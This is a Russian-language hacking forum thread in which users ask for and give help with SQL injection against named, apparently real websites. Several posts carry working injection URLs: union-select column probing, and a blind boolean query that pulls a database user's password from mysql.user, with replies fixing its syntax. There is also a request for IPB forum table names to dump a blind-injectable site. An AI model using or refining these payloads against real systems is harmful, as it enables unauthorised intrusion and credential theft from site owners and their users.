Ваши вопросы по уязвимостям.

Octave_Parango
Чем помочь? Погадать? На картах или на кофейной гуще предпочитаете?

Запрос верен, если запись не одна, должно выводить, остальное домыслы и без линка не уместны

 

jokester,
Ок. спасибо!

 

x311

http://www.motion-twin.com/blog/month?m=10001'

ну бага ведь в месяце ....

 

вопрос таков, есть сайтег скуля есть но слепая верся БД 4, есть форум ипб кто нибудь может дать название табелок и колонок в бд для форума?

 

http://up.cih.ms/ettee/sql/
помогает)

 

spasibo

 

sabe

Code:

http://photo.gala.net/index.php?action=view&id=-120141026+union+select+222+--+

1 колонка


не пойму, ну выводит 222,а как узнать версию?

 

Это не вывод...

Code:

http://photo.gala.net/index.php?action=view&id=120141026+union+select+111111111111111--

Похоже, там 11 колонок, но вывода нету.

Насчёт подзапросов...
Всего пару раз встречался с Sybase ASE, поэтому не знаю, работают они там или нет..
Вроде нет.

Хотя.. сейчас может придёт дядя jokester и отругает меня за то, что я снова тороплюсь ^^

 

Здравствуйте)
Помогите найти ошибку,пожалуйста!

PHP:

http://www.tehbasa.ru/index.php?idt=25
+and+ascii(lower(substring(select+password
+from+mysql.user+where
+user=char(116,101,104,98,97,115,97,95,97,
115,105,100,64,55,57,46,49,55,52,46,55,51,46,55,50)+limit+1),1,1)))%3C=122

 

http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+password+from+mysql.user+where+user=char(116,101,104,98,97,115,97,95,97,115,105,100,64,55,57,46,49,55,52,46,55,51,46,55,50)+limit+1,1),1,1)))%3C=122
либо
http://www.tehbasa.ru/index.php?idt=25+and+ascii(lower(substring(select+password+from+mysql.user+where+user=char(116,101,104,98,97,115,97,95,97,115,105,100,64,55,57,46,49,55,52,46,55,51,46,55,50)+limit+1,1)))%3C=122

 

даже не глядя - +limit+1 = бред. Как минимум limit+0,1

и что такое "%3C="???

просто "=" уже не модно?

 

%3C=
Это <=

Причем тут модно не модно!я проверяю существует ли вообще

 

если ты убераешь 1,1 с чем тогда сравнивать?

 

Перед select нехватает одной скобки..

А вообще, там нету mysql.user )

 

А не проще

?

 

так я хочу вывести пароль!Название базы то есть,оно закодировано в чар

 

Мне кажется, его интересовали именно подзапросы...
Хотя мб и нет..

 

угу для 4 ветки это полезно изучить!да и понадобится,когда вывод ошибок отключен!

 

http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .

 

ну акк бы дал..нахер кому надо регатца там